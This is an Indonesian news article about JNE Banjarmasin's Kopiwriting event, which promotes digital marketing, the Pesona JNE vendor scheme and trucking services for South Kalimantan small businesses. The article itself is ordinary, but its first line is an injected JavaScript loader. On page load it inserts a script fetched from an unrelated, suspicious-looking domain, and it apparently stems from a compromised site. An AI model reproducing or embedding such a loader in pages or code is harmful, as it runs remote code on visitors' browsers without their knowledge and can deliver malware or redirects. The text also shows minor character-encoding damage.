(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Bisnis

JNE Kopiwriting, Era Pasar Digital Peluang Pasar Terbuka UKM Kalsel

BANJARMASIN, Era pasar digital harus bisa dibidik pelaku Usaha Kecil Menengah (UKM) lokal menjadi sebuah peluang pasar besar jasa maupun produk dipasarkan. Bertempat di Eat Boss, Banjarmasin, Kamis (22/8), digelar JNE Kopiwriting “UKM Lokal di Pasar Digital”. Kegiatan ini merupakan sebuah langkah JNE Banjarmasin menghadirkan inovasi guna membantu pelaku UKM di Kalsel berkembang.

Inovasi yang dihadirkan berupa langkah edukasi untuk para pelaku UKM menjadi vendor Pesona JNE agar produk UKM lokal dapat dipromosikan lebih luas ke seluruh Indonesia. Begitu juga dengan JNE Trucking (JTR) yang merupakan layanan pengiriman dalam jumlah besar menggunakan armada truk dengan harga yang kompetitif, serta pelatihan gratis seputar strategi digital marketing, packaging untuk para pelaku UKM.

Pesona JNE sendiri merupakan merupakan layanan pengiriman makanan kuliner khas Indonesia tanpa harus pergi ke daerah asalnya. Pilihan makanan dari beberapa daerah di Indonesia yang kami tawarkan sudah melalui seleksi kelayakan dan masa uji coba selama hampir setahun sehingga aman untuk dikonsumsi oleh pelanggan.

Depi Hariyanto, Pimpinan Cabang JNE Banjarmasin mengatakan, saat ini banyak UKM yang telah bekerja sama dengan JNE di Banjarmasin sendiri, tercatat sekitar 300 member JLC (JNE Loyalty Card) yang aktif dan 31 vendor Pesona. “Serta masih ditambah lagi UKM binaan JNE yang bekerja sama dengan pihak lainnya,” ungkapnya.

Dalam kegiatan yang dihadiri oleh para awak media dan blogger Kalsel ini turut berhadir salah satu pelaku UKM yang juga membagikan pengalaman berbisnisnya.Ã‚Â Adalah pelaku UKM yang sukses membuat produk Sambal Acan Raja Banjar pada 2016 yang hingga kian dikenal masyarakat dan telah banyak menerima pesanan baik domestik maupun internasional.

Ia juga menekankan ihwal pemasaran di era 4.0 ini harus bergerak di ranah daring. Apalagi dengan teknologi internet saat yang sangat membantu menghemat dari segi biaya dan tenaga. Usahanya saat ini juga ikut tergabung dalam program Pesona JNE dan menjadi salah satu produk unggulan Kalsel.

Dalam Kopiwriting ini juga turut berhadir Doyo Pudjadi selaku Asisten II Bidang Ekonomi dan Pembangunan Setdako Banjarmasin.

Kopiwriting yang masuk tahun kedua ini merupakan kegiatan ketiga setelah JNE sukses menggelar Kopiwriting di kota Bandung dan Padang. Selanjutnya, Kopiwriting juga akan digelar di kota Malang, Yogyakarta, dan Cirebon.(mario)